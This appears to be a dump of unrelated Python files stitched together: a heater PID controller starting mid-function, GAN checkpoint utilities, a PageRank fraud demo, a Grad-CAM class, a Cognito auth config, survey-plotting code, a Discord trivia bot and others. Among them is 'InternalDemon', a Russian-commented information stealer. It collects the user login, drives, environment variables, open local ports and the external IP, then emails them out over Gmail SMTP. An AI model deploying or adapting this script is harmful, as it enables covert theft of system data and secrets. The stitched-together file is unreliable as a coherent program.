	s=""" Cooling power (J/sec)
	refer HNGN82_200427
	H=heat capasiry(J/K)
	Troom=20
	Q=stored heat(J)
	"""
	Troom=20
	Hcond=0.2
	W=Hcond*(dT+Ttarget-Troom)
	return W

from matplotlib import pyplot as plt
from matplotlib import animation as animation
import numpy as np
import serial
import time
import sys
import re

# strPort = '/dev/tty.usbserial-A7006Yqh'
print ("pls input port name = M5Stck, ARDUINO, file_name.csv")
print ("use LS command to find port name")

# plot parameters
#analogData = AnalogData(100)
#analogPlot = AnalogPlot(analogData)

#tc1 = [0] * 100
#tc2 = [0] * 100
#cnv = [0]*100
t=np.linspace(0.0,10.0,100)
# open serial port
strPort1 = sys.argv[1];
strPort2 = sys.argv[2];
file1=sys.argv[3];
ser1 = serial.Serial(strPort1, 115200) # M5Stack Serial Speed
ser2 = serial.Serial(strPort2, 115200) # Arduino Serial Speed
f=open(file1,"w+")
#
#
#fig, ax = plt.subplots()
ims = []
dt = 0.1
Kp = 0.0
Kd = 0.0
Ki = 0.0

regex = re.compile('\d+')
data=[]
flag=0
W_heat=50 #=280,(J/sec) initial condition
while 1:
  try:
    dT_list = []
    t_list = []
    if Kp < 0.0:		#比例ゲイン
      Kp += 0.01
    elif Ki < 0.001:	#積分ゲイン
      Ki += 0.001
    elif Kd < 0.5:		#微分ゲイン
      Kd += 0.01

	#### ###
    Q=Initial_heat=2000 #initial condition
    W_heat_max=300 #heater power at 100V (MAX)
    rCp=3.36  # =(J/K)from H of HNGN82
#     T=Q/rCp-273.15
    Ttarget=T_target_degC=100 #Target
    TtargetK=Ttarget+273.15
    dQ=0

    line = ser1.readline()
    match = regex.findall(str(line))
    data.append(float(match[1])*60.0+float(match[2])+float(match[3])*0.1)
    data.append(float(match[4]+"."+match[5]))
    data.append(float(match[6]+"."+match[7]))
    data.append(float(match[8]+"."+match[9]))
    data.append(float(match[10]+"."+match[11]))
    data.append(float(match[12]+"."+match[13]))
    data.append(float(match[14]+"."+match[15]))
    data.append(float(match[16]+"."+match[17]))
    data.append(float(match[18]+"."+match[19]))
    data.append(float(match[20]+"."+match[21]))
    data.append(float(match[22]+"."+match[23]))
    print(data[2],data[4],data[5])
    print(line)
    for val in data:
      flag+=1
      f.write(str(val));
      if(flag<11):
        f.write(", ")
    f.write("\n")
    flag=0

	 #for i in range(int(50/dt)):
	 #  t = i*dt
	#Tc thermo-couple-reading
    T=data[4] #unit=Cdegree) reading from Tc
    print (data)
    data=[]
	#  print("T=",f'{T:.4f}')
    print("T=",T)
    dT=error_T=T-Ttarget
    print("dT=",dT)
    Q=(T+273.15)/rCp
#    print("Q=",Q)
    print("W_cool=",W_cool())
    print("W_heat=",W_heat)
    Kp=0.1; Kd=0.5; Ki=0.0
#    W_heat= -Kp*(rCp*dT)*dt -Kd*(dQ/dt)*dt -Ki*(dT*dt)
#    W_heat= -Kp*(rCp*dT) -Kd*(W_heat) -Ki*(W_heat)
    W_heat= -(7.0)*dT
    print("W_heat=",W_heat)
#    dQ=dt*(W_heat-W_cool())
#    dQ=dt*(W_heat)
#    print("dQ=",dQ,"\n")
#    Q +=dQ
#    T=Q/rCp-273.15
    if (W_heat > W_heat_max):
      val=255
    else:
      val=int(W_heat/W_heat_max*255)%256
    a = val.to_bytes(1, byteorder="little")
    ser2.write(a)
  except KeyboardInterrupt:
    print ('exiting')
    break

f.close()
ser1.flush()
ser1.close()
ser2.flush()
ser2.close()


import torch
import Pix2Pix_Gans_Config
# PyTorch's torchvision library specifically designed for saving tensors or batches of images to disk as image files
from torchvision.utils import save_image

# Save some of the examples from Generator
def save_some_examples(gen, val_loader, epoch, folder):
    x, y = next(iter(val_loader))
    x, y = x.to(Pix2Pix_Gans_Config.DEVICE), y.to(Pix2Pix_Gans_Config.DEVICE)
    # Set the model as evaluation mode
    gen.eval()
    # We just predict/test here. No training is happening here
    with torch.no_grad():
        y_fake = gen(x)
        # Remove Normalization
        y_fake = (y_fake * 0.5) + 0.5
        x = (x * 0.5) + 0.5
        save_image(y_fake, folder + f"/output_{epoch}.png" )
        save_image(x, folder + f"/input_{epoch}.png")
        if epoch == 1:
            y = (y * 0.5) + 0.5
            save_image(y, folder + f"/label{epoch}.png")

    # Set the model to train again
    gen.train()

# Save Checkpoint
def save_checkpoint(model, optimizer, file_name = 'my_checkpoint.pth.tar'):
    print('=> !!!Saving Checkpoint!!! <=')
    checkpoint = {
        'state_dict': model.state_dict(),
        'optimizer': optimizer.state_dict()
    }
    torch.save(checkpoint, file_name)

# Load model from saved data
def load_model(checkpoint_file, model, optimizer, learning_rate):
    print('=> !!!Load Checkpoint!!! <=')
    checkpoint = torch.load(checkpoint_file, map_location=Pix2Pix_Gans_Config.DEVICE)
    # Load model and optimizer
    model.load_state_dict(checkpoint['state_dict'])
    optimizer.load_state_dict(checkpoint['optimizer'])
    # Now load the learning rate
    for param_group in optimizer.param_groups:
        param_group['lr'] = learning_rate


### Educational example, see damping factor

damping = 0.85

G = nx.DiGraph()
[G.add_node(k) for k in ["A", "B", "C", "D", "E", "G"]]
G.add_edges_from([('G','A'),('B','A'),('A','B'),
                  ('C','A'),('A','C'),('H','D'), ('C','E'),('E','C'),
                  ('E','A'),('A','E'),('D','B'),('B','D')])

fraudsters = {"G":0.2, 'H': 1} # let's say 'h' as done a bigger criminal offence
ppr1 = nx.pagerank(G, personalization=fraudsters, alpha=damping)

pos = nx.spiral_layout(G)
def colfunc(val, minval, maxval, startcolor, stopcolor):
    """ Convert value in the range minval...maxval to a color in the range
        startcolor to stopcolor. The colors passed and the one returned are
        composed of a sequence of N component values (e.g. RGB).
    """
    f = float(val-minval) / (maxval-minval)
    return tuple(f*(b-a)+a for (a, b) in zip(startcolor, stopcolor))
colfunc(0.2, 0, 1, (1, 0, 0),(0, 1, 0))
pos = nx.spring_layout(G)

nx.draw(G,pos, with_labels = True, node_color=[colfunc(v, 0, max(ppr1.values()),(0, 1, 0),(1, 0, 0)) for v in ppr1.values()],
        nodelist=[k for k in ppr1.keys()], node_size=200)
node_attrs = ppr1 #nx.get_node_attributes(G, 'type')
pos_attrs = {}
for node, coords in pos.items():
    pos_attrs[node] = (coords[0], coords[1] + 0.08)
custom_node_attrs = {}
for node, attr in node_attrs.items():
    custom_node_attrs[node] = str(round(attr,2)*100) + '%'
nx.draw_networkx_labels(G, pos_attrs, labels=custom_node_attrs)

import tikzplotlib
tikzplotlib.save("output_files/pers_pagerank_damp_85.tex")


# -*- coding: utf-8 -*-
"""
Created on Wed Sep 28 22:35:55 2022

@author: Pranav
"""

from scipy.stats import norm, uniform, expon
import math as mt
import numpy as np
import time
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt

startTime = time.perf_counter()
num = 200

values1 = uniform.rvs(loc =0, scale = 1, size = num)

time1 = time.perf_counter()

sorted(values1)
def unif_order(num):
    values2 = np.repeat(0., num)
    values2[num-1] = uniform.rvs(loc = 0, scale = 1)
    for i in range(num - 1):
        temp = uniform.rvs(loc = 0, scale = values2[num-1 - i])
        values2[num-2-i] = temp**(1/(num-1-i))*(values2[num-1-i])
    return values2
    # time2 = time.perf_counter()
    # print(time2 - time1, time1 - startTime)
N = 10000
X = np.repeat(0.,N)
Y = np.repeat(0.,N)
Z = np.repeat(0.,N)
for i in range(N):
    orderstat = unif_order(3)
    X[i] = orderstat[0]
    Y[i] = orderstat[1]
    Z[i] = orderstat[2]

fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
ax.scatter(X, Y, Z, c='r', marker='o')
ax.set_xlabel('X Label')
ax.set_ylabel('Y Label')
ax.set_zlabel('Z Label')
plt.show()


'''
NAME:    InternalDemon
AUTHOR:  S1DAL3X
PYTHON:  3.7.7
'''

import os, sys, socket, smtplib
from bs4 import BeautifulSoup
from urllib.request import urlopen

LOGIN       = os.getlogin()
DISKS       = []
SYSTEM_INFO = os.environ
PORTS       = [22, 25, 80, 139, 443, 445, 8080]
HOST          = '127.0.0.1'
NET_STAT    = []
system      = sys.platform

#определяем систему
def main():
    check_disk()

#проверяем подключенные диски
def check_disk():
    for letter in 'CDEFGHIJKLMNOPQRSTUVWXYZ':
        path = letter + ':/'
        try:
            if os.path.isdir(path):
                DISKS.append(path)
            else:
                pass
        except PermissionError:
            pass

    starter_net_scaner(HOST)

#сканер сети(сканируем открытые порты на хосте)
def net_scaner(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.5)
    try:
        connection = s.connect((host, port))
        connect = 'Host ' + str(host) + ' on port :' + str(port) + ' - is open.' + '\n'
        NET_STAT.append(connect)
        connection.close()
    except:
        pass

#запуск сканера сети
def starter_net_scaner(HOST):
    for port in PORTS:
        net_scaner(HOST, port)

    get_outside_ip()

#определение внешнего IP
def get_outside_ip():
    url = urlopen('https://yandex.ru/internet/')
    soup = BeautifulSoup(url, 'html.parser')
    out_str = soup.find('li', class_='parameter-wrapper general-info__parameter')
    out_str = str(out_str)
    ip = []

    for symbol in out_str:
        if '1234567890.'.find(symbol) != -1:
            ip.append(symbol)
    OUTSIDE_IP = ''.join(ip)[3:]

    send_mail(OUTSIDE_IP)

#отправка данных
def send_mail(outside_ip):
    array = [
        '\n OUTSIDE_IP      => ' + str(outside_ip),
        '\n SYSTEM          => ' + str(system),
        '\n USER            => ' + str(LOGIN),
        '\n DISKS           => ' + str(DISKS),
        '\n SYSTEM_INFO     => ' + str(SYSTEM_INFO),
        '\n NET STATISTIC   => ' + str(NET_STAT),
    ]
    report_text = '--Success!--'.join(array)
    #print(array)
    msgObject = smtplib.SMTP('smtp.gmail.com', 587)
    msgObject.starttls()
    msgObject.login('СВОЙ_ЛОГИН@gmail.com', 'СВОЙ_ПАРОЛЬ')                                               # Авторизация
    msgObject.sendmail('InternalDemon@gmail.com', 'СВОЙ_ЛОГИН@gmail.com', report_text.encode('utf8'))    # отправить(От кого, кому, сообщение)
    msgObject.quit()

if __name__ == "__main__":
    main()


import numpy as np
import torch

def scale_cam(cam, size):
    cam = (cam - cam.min()) / (1e-7 + cam.max())
    cam = cam[None, :, :, :]
    cam = torch.nn.functional.interpolate(cam, size)#, mode='bilinear')
    cam = cam.squeeze()

    return cam

def get_target_width_height(input_tensor):
    width, height = input_tensor.size(-1), input_tensor.size(-2)

    return width, height

class ActivationsAndGradients:
    """ Class for extracting activations and
    registering gradients from targeted intermediate layers """

    def __init__(self, model, target_layer, reshape_transform):
        self.model = model
        self.gradient = None
        self.activation = None
        self.reshape_transform = reshape_transform
        self.handles = []

        self.handles.append(target_layer.register_forward_hook(self.save_activation))
        self.handles.append(target_layer.register_forward_hook(self.save_gradient))

    def save_activation(self, module, input, output):
        activation = output

        if self.reshape_transform is not None:
            activation = self.reshape_transform(activation)

        self.activation = activation

    def save_gradient(self, module, input, output):
        if not hasattr(output, "requires_grad") or not output.requires_grad:
            # You can only register hooks on tensor requires grad.
            return

        # Gradients are computed in reverse order
        def _store_grad(grad):
            if self.reshape_transform is not None:
                grad = self.reshape_transform(grad)
            self.gradient = grad

        output.register_hook(_store_grad)

    def __call__(self, x):
        self.gradient = None
        self.activation = None

        return self.model(x)

    def release(self):
        for handle in self.handles:
            handle.remove()

class GCAM:
    def __init__(self, model, target_layer, use_cuda, reshape_transform=None, compute_input_gradient=False,
                 uses_gradients=True):
        self.model = model.eval()
        self.target_layer = target_layer
        self.cuda = use_cuda
        if self.cuda:
            self.model = model.cuda()
        self.reshape_transform = reshape_transform
        self.compute_input_gradient = compute_input_gradient
        self.uses_gradients = uses_gradients
        self.activations_and_grads = ActivationsAndGradients(self.model, target_layer, reshape_transform)

    def get_cam_weights(self, input_tensor, target_layer, targets, activation, grad):
        raise Exception("Not Implemented")

    def get_cam_image(self, activation, grad):
        elementwise_activations = torch.maximum(grad * activation, torch.zeros(grad.shape, device=grad.device))
        cam = elementwise_activations.sum(axis=1)

        return cam

    def forward(self, input_tensor, targets):

        if self.cuda:
            input_tensor = input_tensor.cuda()

        if self.compute_input_gradient:
            input_tensor = torch.autograd.Variable(input_tensor, requires_grad=True)

        outputs = self.activations_and_grads(input_tensor).reshape(-1)

        # all values in targets that are 1 will stay 1, but 0 will become -1
        targets = targets * 2 - 1

        if self.uses_gradients:
            self.model.zero_grad()
            loss = sum(targets * outputs)
            loss.backward(retain_graph=True)

        cam = self.get_cam_image(self.activations_and_grads.activation, self.activations_and_grads.gradient)
        cam = torch.maximum(cam, torch.zeros(cam.shape, device=cam.device))
        target_size = get_target_width_height(input_tensor)
        cam = scale_cam(cam, target_size)

        return cam

    def __call__(self, input_tensor, targets):
        return self.forward(input_tensor, targets)

    def __del__(self):
        self.activations_and_grads.release()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_value, exc_tb):
        self.activations_and_grads.release()
        if isinstance(exc_value, IndexError):
            # Handle IndexError here...
            print(
                f"An exception occurred in CAM with block: {exc_type}. Message: {exc_value}")
            return True


import os
import urllib.parse
from strenum import StrEnum
from typing import List

from api.common.config.aws import DOMAIN_NAME, RESOURCE_PREFIX, AWS_REGION
from api.common.config.constants import BASE_API_PATH
from api.common.config.layers import Layer

ALL = "ALL"

RAPID_ACCESS_TOKEN = "rat"  # nosec B105
COOKIE_MAX_AGE_IN_SECONDS = 3600

DEFAULT_PERMISSION = ["READ_PUBLIC"]

COGNITO_ALLOWED_FLOWS = ["client_credentials"]
COGNITO_RESOURCE_SERVER_ID = f"https://{DOMAIN_NAME}"
COGNITO_USER_POOL_ID = os.environ["COGNITO_USER_POOL_ID"]

ALLOWED_EMAIL_DOMAINS = os.environ["ALLOWED_EMAIL_DOMAINS"]

IDENTITY_PROVIDER_BASE_URL = (
    f"https://{RESOURCE_PREFIX}-auth.auth.{AWS_REGION}.amazoncognito.com"
)

IDENTITY_PROVIDER_TOKEN_URL = f"{IDENTITY_PROVIDER_BASE_URL}/oauth2/token"
IDENTITY_PROVIDER_AUTHORIZATION_URL = f"{IDENTITY_PROVIDER_BASE_URL}/oauth2/authorize"
IDENTITY_PROVIDER_LOGOUT_URL = f"{IDENTITY_PROVIDER_BASE_URL}/logout"

COGNITO_JWKS_URL = f"https://cognito-idp.{AWS_REGION}.amazonaws.com/{COGNITO_USER_POOL_ID}/.well-known/jwks.json"

COGNITO_EXPLICIT_AUTH_FLOWS = [
    "ALLOW_REFRESH_TOKEN_AUTH",
    "ALLOW_CUSTOM_AUTH",
    "ALLOW_USER_SRP_AUTH",
]

COGNITO_USER_LOGIN_APP_CREDENTIALS_SECRETS_NAME = os.getenv(
    "COGNITO_USER_LOGIN_APP_CREDENTIALS_SECRETS_NAME", "rapid_user_secrets_cognito"
)

COGNITO_LOGOUT_URI = f"https://{DOMAIN_NAME}/login"
COGNITO_REDIRECT_URI = f"https://{DOMAIN_NAME}{BASE_API_PATH}/oauth2/success"
PROTECTED_DOMAIN_SCOPES_PARAMETER_NAME = f"{RESOURCE_PREFIX}_protected_domain_scopes"
PROTECTED_DOMAIN_PERMISSIONS_PARAMETER_NAME = (
    f"{RESOURCE_PREFIX}_protected_domain_permissions"
)

def construct_user_auth_url(client_id: str):
    redirect_uri = urllib.parse.quote_plus(COGNITO_REDIRECT_URI)
    return f"{IDENTITY_PROVIDER_AUTHORIZATION_URL}?client_id={client_id}&response_type=code&redirect_uri={redirect_uri}"

def construct_logout_url(client_id: str):
    logout_uri = urllib.parse.quote_plus(COGNITO_LOGOUT_URI)
    return (
        f"{IDENTITY_PROVIDER_LOGOUT_URL}?client_id={client_id}&logout_uri={logout_uri}"
    )

class Action(StrEnum):
    READ = "READ"
    WRITE = "WRITE"
    USER_ADMIN = "USER_ADMIN"
    DATA_ADMIN = "DATA_ADMIN"

    @staticmethod
    def admin_actions() -> List[str]:
        return [Action.USER_ADMIN, Action.DATA_ADMIN]

    @staticmethod
    def data_actions() -> List[str]:
        return [Action.READ, Action.WRITE]

# Classifications
class Sensitivity(StrEnum):
    PUBLIC = "PUBLIC"
    PRIVATE = "PRIVATE"
    PROTECTED = "PROTECTED"

# Creates the possible Sensitivity Level Permissions from the existing Layer Enum
SensitivityPermissions = StrEnum(
    "SensitivityPermissions",
    dict([(sensitivity, sensitivity) for sensitivity in [*list(Sensitivity), ALL]]),
)

# Creates the possible Layer Permissions from the existing Layer Enum
LayerPermissions = StrEnum(
    "LayerPermissions",
    dict([(layer.upper(), layer.upper()) for layer in [*list(Layer), ALL]]),
)

class SubjectType(StrEnum):
    CLIENT = "CLIENT"
    USER = "USER"

class PermissionsTableItem(StrEnum):
    SUBJECT = "SUBJECT"
    PERMISSION = "PERMISSION"

class ServiceTableItem(StrEnum):
    JOB = "JOB"


import csv
import codecs
import matplotlib.pyplot as plt

Debug=0
DebugLine=10
start_year = 1940
end_year = 2000

def init():
	plt.rcParams['font.sans-serif'] = ['SimHei']
	plt.rcParams['axes.unicode_minus'] = False

def plot_num(x_index):
	file=open('2014data.csv','r',encoding='UTF-8')
	reader=csv.reader(file)
	m={}
	line_num=0
	xtitle="x"
	ytitle="填写问卷的人数，按出生时间的统计"
	for line in reader:
		if(line_num==0):
			line_num+=1
			xtitle=line[x_index]
			continue
		try:
			born_year=line[x_index]
			born_year=int(born_year)
		except Exception:
			continue
		if born_year not in m.keys():
			m[born_year]=0
		m[born_year]+=1
		line_num+=1
		if(Debug and line_num>DebugLine):
			print(m)
			break
	during_year=end_year-start_year
	c=[0]*during_year
	for y in range(start_year,end_year):
		if(y in m.keys()):
			c[y-start_year]=m[y]
	plt.bar(range(start_year, end_year), c, 0.5)
	plt.xlabel(xtitle)
	plt.ylabel("人数")
	plt.title(ytitle)
	#plt.axis([-1,11,0,7])
	plt.savefig("people_num",dpi=600)#plt.savefig()将输出图形存储为文件，默认为png格式，可以通过dpi修改输出质量
	if(Debug):
		plt.show()

def plot(x_index,y_index):
	plt.figure(figsize=(7, 5))#图片属性设置，图片大小
	rect=[0.1,0.15,0.7,0.7]
	subplt=plt.axes(rect)#此处设置柱状通在图片中的位置
	file=open('2014data.csv','r',encoding='UTF-8')
	#file=codecs.open('E:\\git\\my\\zuobiao_analysis\\2014data.csv','rb','utf-8')
	reader=csv.reader(file)
	m={}
	line_num=0
	ans_map={"强烈同意":0,"同意":1,"反对":2,"强烈反对":3}
	ans_map_r={0:"强烈同意",1:"同意",2:"反对",3:"强烈反对",4:"其他"}
	color_map_r={0:'#ff0000',1:'#eeee00',2:'#00eeee',3:'#0000ff',4:'#000000'}
	xtitle="x"
	ytitle="y"
	for line in reader:
		if(line_num==0):
			line_num+=1
			xtitle=line[x_index]
			ytitle=line[y_index]
			continue
		#print(line[3],line[54])
		try:
			born_year=line[x_index]
			born_year=int(born_year)
		except Exception:
			#print(line[54])
			continue
		ans=line[y_index]
		if(born_year not in m.keys()):
			m[born_year]=[0]*4
		if(ans not in ans_map.keys()):
			print("error:"+ans)
			continue
		m[born_year][ans_map[ans]]+=1
		line_num+=1
		if(Debug and line_num>DebugLine):
			#print(m)
			break
	start_year=1940
	end_year=2000
	during_year=end_year-start_year
	c=[1]*during_year
	plt.bar(range(start_year, end_year), c, 0.5, color=color_map_r[0],label=ans_map_r[0])
	for ans in range(4):
		for y in range(start_year,end_year):
			if y not in m.keys():
				continue
			if(sum(m[y])==0):
				continue
			c[y-start_year]-=m[y][ans]*1.0/sum(m[y])
		plt.bar(range(start_year,end_year),c,0.5,color=color_map_r[ans+1],label=ans_map_r[ans+1])
	plt.xlabel(xtitle)
	plt.ylabel("百分比")
	plt.title(ytitle)
	plt.legend( bbox_to_anchor=(1,0.7))
	#plt.axis([-1,11,0,7])
	plt.savefig('pic'+str(y_index),dpi=600)#plt.savefig()将输出图形存储为文件，默认为png格式，可以通过dpi修改输出质量
	if(Debug):
		plt.show()

def test():
	plt.plot([2,3,4,5,1,6])
	plt.ylabel("Grade")
	plt.ylabel("number")
	plt.axis([-1,11,0,7])
	plt.savefig('test',dpi=600)#plt.savefig()将输出图形存储为文件，默认为png格式，可以通过dpi修改输出质量
	plt.show()

if __name__=="__main__":
	# for i in range(3,53):
	# 	plot(54,i)
	init()
	plot_num(54)


import re
import os
import pkg_resources
import copy
import asyncio
import numpy as np
from karadoc import Funct
import json

import aiohttp
from io import BytesIO, StringIO, TextIOWrapper

from .Cards import Card, A, B, C, EMOJIS, EASY, HARD
from .Game import Game
# from .DiscordHelper import DiscordHelper

# from .Packs import PackHandler, Pack
# from .test_ocr import PackFromIMG

import pdb

class FunctTrivia(Funct):
    pack_list_dict = {
        "title": "**GOTCTips** Pack List",
        "description": "Below you can find a list of all active $99.99 packs stored by us.\nThe list is sorted by \"**{}**\".\nFor more information please read `!gt-pack help`.",
        "color": 14090240,
            "fields": [ {
        "name": "Current Packs ",
        "value": "*{:,.0f}* -{}",
                "inline": False
            }, {
        "name": "Join us on Discord",
        "value": "[GOTCTips Discord Server](https://discord.gg/gCVq9nW)",
        "inline": True
            },
            {
        "name": "Visit our Blog",
        "value": "[GOTCTips Blog](https://gotctips.com)",
        "inline":True
            }],
            "thumbnail": {
        "url": "http://gotctips.com/wp-content/uploads/2018/10/gotctips-discord-pack2.png"
            },
            "footer": {
        "icon_url": "http://gotctips.com/wp-content/uploads/2018/06/favicon.png",
        "text": "GOTCTips - Your best source for tips, news and guides about Game of Thrones Conquest!"
            }
            }

    def __init__(self, discord_client, database, bot_prefix, name_func, permission):
        Funct.__init__(self, discord_client=discord_client, bot_prefix=bot_prefix,
                       name_func=name_func, permission=permission, link="")

        self.database = database
        self.dict_game = {}
        # self.helper = DiscordHelper(discord_client=self.discord_client)
        # self.packHandler = PackHandler(stored_info=self.database,
        #                                game_data=self.game_data,
        #                                permission=permission)
        # self.pack_from_img = PackFromIMG(game_data=self.game_data, packs_database=self.database.packs)
        self.pack_channel = "trivia"

        # self._set_only_vip()
        self._register_fun(prefix="test", fun=self._display,
                           desc="Just display a test")
        self._register_fun(prefix="add", fun=self._newcard,
                           desc="Add a new card, by answering question")
        self._register_fun(prefix="fileadd", fun=self._from_file,
                           desc="Add a new card, by providing a file")

        self._register_fun(prefix="start", fun=self._start,
                           desc="Start a nex game")
        self._register_fun(prefix="join", fun=self._register,
                           desc="Join a game already started")
        self._register_fun(prefix="next", fun=self._next,
                           desc="Start the next round")
        self._register_fun(prefix="end", fun=self._end_game,
                           desc="End the game")
        # self._register_fun(prefix="search", fun=self._search,
        #                    desc="Search a speficic pack")
        #
        # self._register_fun_adminonly(prefix="new packs", fun=self._newpacks,
        #                    desc="Add new packs in one single csv (one pack per column)")
        # self._register_fun_adminonly(prefix="newpack", fun=self._newpack,
        #                    desc="Add a single pack, and broadcast it")
    async def _end_game(self, message, msg_str, cmd) -> None:
        if message.channel.id in self.dict_game:
            # await self.discord_client.send_message(message.channel, "And game has already started in this channel. Type `!trivia join` to join it.")
            game = self.dict_game[message.channel.id]
            await game.end_game(self.discord_client, message.channel)
            del self.dict_game[message.channel.id]
        else:
            await self.discord_client.send_message(message.channel, "No game has started in this channel. Type `!trivia start` to start one.")
        # end_game

    async def _start(self, message, msg_str, cmd) -> None:
        if message.channel.id in self.dict_game:
            await self.discord_client.send_message(message.channel, "And game has already started in this channel. Type `!trivia join` to join it.")
        else:
            game = Game(self.database)
            await game.start_game(self.discord_client, message.channel)
            self.dict_game[message.channel.id] = game
            await self.discord_client.add_reaction(message, "✅")
            await self.discord_client.send_message(message.channel, "Game has started. Type `!trivia join` to join it.")

    async def _register(self, message, msg_str, cmd) -> None:
        if message.channel.id in self.dict_game:
            if self.dict_game[message.channel.id].add_player(message.author.id):
                await self.discord_client.add_reaction(message, "✅")
                await self.discord_client.send_message(message.channel, "You successfuly join the game. Once everyone joined type `!trivia next` to start a round.")
            else:
                await self.discord_client.add_reaction(message, "❌")
                await self.discord_client.send_message(message.channel,
                                                       "You are already part of this game.")
        else:
            await self.discord_client.send_message(message.channel, "No game has started on this channel. Type `!trivia start` to start one.")

    async def _next(self, message, msg_str, cmd) -> None:
        if message.channel.id in self.dict_game:
            game = self.dict_game[message.channel.id]
            if game.is_locked():
                msg = "Impossible to start a new round while a round is still in progress."
                await self.discord_client.send_message(message.channel, msg)
            else:
                if game.is_player(message.author.id):
                    await game.start_round(self.discord_client, message.channel)
                else:
                    ans = "You are not part of this game. Type `!trivia join` to join it."
                    await self.discord_client.send_message(message.channel, ans)
        else:
            await self.discord_client.send_message(message.channel, "No game has started on this channel. Type `!trivia start` to start one, and  `!trivia join` to join it.")

    async def _display(self, message, msg_str, cmd) -> None:
        card = Card(message.author.id,
                      "Where is test ?",
                      "Not here",
                      "Here",
                      "Not there",
                      ans_correct=B,
                      difficulty=EASY,
                      season=0)
        emb = self.embed_from_dict(card.dict_embed())
        msg_check = await self.discord_client.send_message(message.channel, embed=emb)
        msg_check = msg_check[-1]

        for id_em in sorted(EMOJIS.keys()):
            await self.discord_client.add_reaction(msg_check, EMOJIS[id_em])

    async def _from_file(self, message, msg_str, cmd) -> None:
        file_ = {}
        if message.attachments:
            # there is a json already attached to it
            file_ = message.attachments[0]
        else:
            await self.discord_client.send_message(message.channel, "You ask to enter a new card, please check your dm")
            await self.discord_client.send_file(message.author, os.path.join(pkg_resources.resource_filename(__name__, 'data'),
                                                                   "card_example.json"))
            await self.discord_client.send_message(message.author, "Please modify the file \"card_example.json\", and send it back to us")
            as_attach = False
            while not as_attach:
                ans = await self.discord_client.wait_for_message(author=message.author)
                if ans.attachments:
                    as_attach = True
                    file_ = ans.attachments[0]
                else:
                    await self.discord_client.send_message(message.channel,
                                                           "Please modify the file \"card_example.json\", and send it back to us")

        async with aiohttp.ClientSession() as session:
            # note that it is often preferable to create a single session to use multiple times later - see below for this.
            async with session.get(file_['url']) as resp:
                buffer = BytesIO(await resp.read())
        # pdb.set_trace()
        # with open(buffer, "r") as f:
        #     dict_ = json.load(f)
        dict_ = json.load(TextIOWrapper(buffer, encoding='utf-8'))
        dict_["id_player"] = message.author.id
        dict_["category"] = "from_game"
        card = Card(**dict_)
        await self.__confirm_card(card, message)

    async def _newcard(self, message, msg_str, cmd) -> None:
        await self.discord_client.send_message(message.channel, "You ask to enter a new card, please check your dm")
        await self.discord_client.send_message(message.author, "Please provide the question")
        question = await self.discord_client.wait_for_message(author=message.author)
        await self.discord_client.send_message(message.author, "Please provide the possible answer a")
        ans_a = await self.discord_client.wait_for_message(author=message.author)
        await self.discord_client.send_message(message.author, "Please provide the possible answer b")
        ans_b = await self.discord_client.wait_for_message(author=message.author)
        await self.discord_client.send_message(message.author, "Please provide the possible answer c")
        ans_c = await self.discord_client.wait_for_message(author=message.author)
        await self.discord_client.send_message(message.author, "What is the correct answer (a, b or c)")
        ans_correct = await self.discord_client.wait_for_message(author=message.author)

        season_set = False
        season = 0
        while not season_set:
            await self.discord_client.send_message(message.author, "What is the season?")
            season = await self.discord_client.wait_for_message(author=message.author)
            try:
                season = int(season.content)
                season_set = True
            except Exception as e:
                print(e)
                await self.discord_client.send_message(message.author, "Please enter a valid integer")

        difficulty_set = False
        difficulty = EASY
        while not difficulty_set:
            await self.discord_client.send_message(message.author, "What is the difficulty (easy / hard)?")
            difficulty = await self.discord_client.wait_for_message(author=message.author)
            difficulty = difficulty.content
            if difficulty[:2] == "ea":
                difficulty_set = True
                difficulty = EASY
            elif difficulty[:2] == "ha":
                difficulty_set = True
                difficulty = HARD
            else:
                await self.discord_client.send_message(message.author, "Please enter easy/hard")

        card = Card(id_player=message.author.id,
                    question=question.content,
                    ans_a=ans_a.content,
                    ans_b=ans_b.content,
                    ans_c=ans_c.content,
                    ans_correct=ans_correct.content,
                    season=season,
                    difficulty=difficulty)
        await self.__confirm_card(card, message)

    async def __confirm_card(self, card: Card, message):
        ans_correct = card.get_ans_correct()
        emb = self.embed_from_dict(card.dict_embed())
        message_card = await self.discord_client.send_message(message.author, embed=emb)
        message_card = message_card[-1]
        await self.discord_client.send_message(message.author, "{}".format(ans_correct))
        await self.discord_client.send_message(message.author, "Is this card correct?")
        while 1:
            ok_ = await self._check_if_ok(orig_message=message)
            if ok_ is not None:
                break
        if ok_:
            card.save_mongo(database=self.database.cards)
            await self.discord_client.send_message(message.author, "Sucessfully added the card")
            await self.discord_client.add_reaction(message_card, "✅")  # point_up_2d
        else:
            await self.discord_client.send_message(message.author, "Card removed")
            await self.discord_client.add_reaction(message_card, "❌")  # point_up_2d
        # await self.discord_client.add_reaction(message, "❌")  # point_up_2d


"""Module containing code for a CNN object detector."""
import torch
import torchvision.models as models
from torch.nn import Linear, Module, Sigmoid

class CNN(Module):
    """A CNN model."""

    def __init__(self, classes, model_name, threshold=0.5):
        """Initialise the CNN, freezing its parameters to avoid \
        additional training."""
        super().__init__()
        if model_name == 'resnet':
            self.model = models.resnet18(pretrained=True)
        elif model_name == 'alexnet':
            self.model = models.alexnet(pretrained=True)
        elif model_name == 'vgg':
            self.model = models.vgg16(pretrained=True)
        elif model_name == 'densenet':
            self.model = models.densenet161(pretrained=True)
        elif model_name == 'inception':
            self.model = models.inception_v3(pretrained=True)
        elif model_name == 'googlenet':
            self.model = models.googlenet(pretrained=True)
        elif model_name == 'resnext':
            self.model = models.resnext50_32x4d(pretrained=True)
        else:
            self.model = models.resnet18(pretrained=True)
        for param in self.model.parameters():
            param.requires_grad = False
        self.linear = Linear(1000, len(classes))
        self.activation = Sigmoid()
        self.threshold = threshold
        self.classes = classes

    def forward(self, images, captions, device):
        """Propagate data through the model."""
        input_batch = torch.stack(images)
        self.model.eval()
        results = self.model(input_batch)
        output = self.linear(results)
        preds = self.activation(output) > self.threshold
        return preds, output


import numpy
import cPickle

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--top-unigram", type=str)
parser.add_argument("--src-w2i", type=str)
parser.add_argument("--trg-w2i", type=str)
parser.add_argument("--vocab-size", type=int)
parser.add_argument("--output", type=str)
args = parser.parse_args()

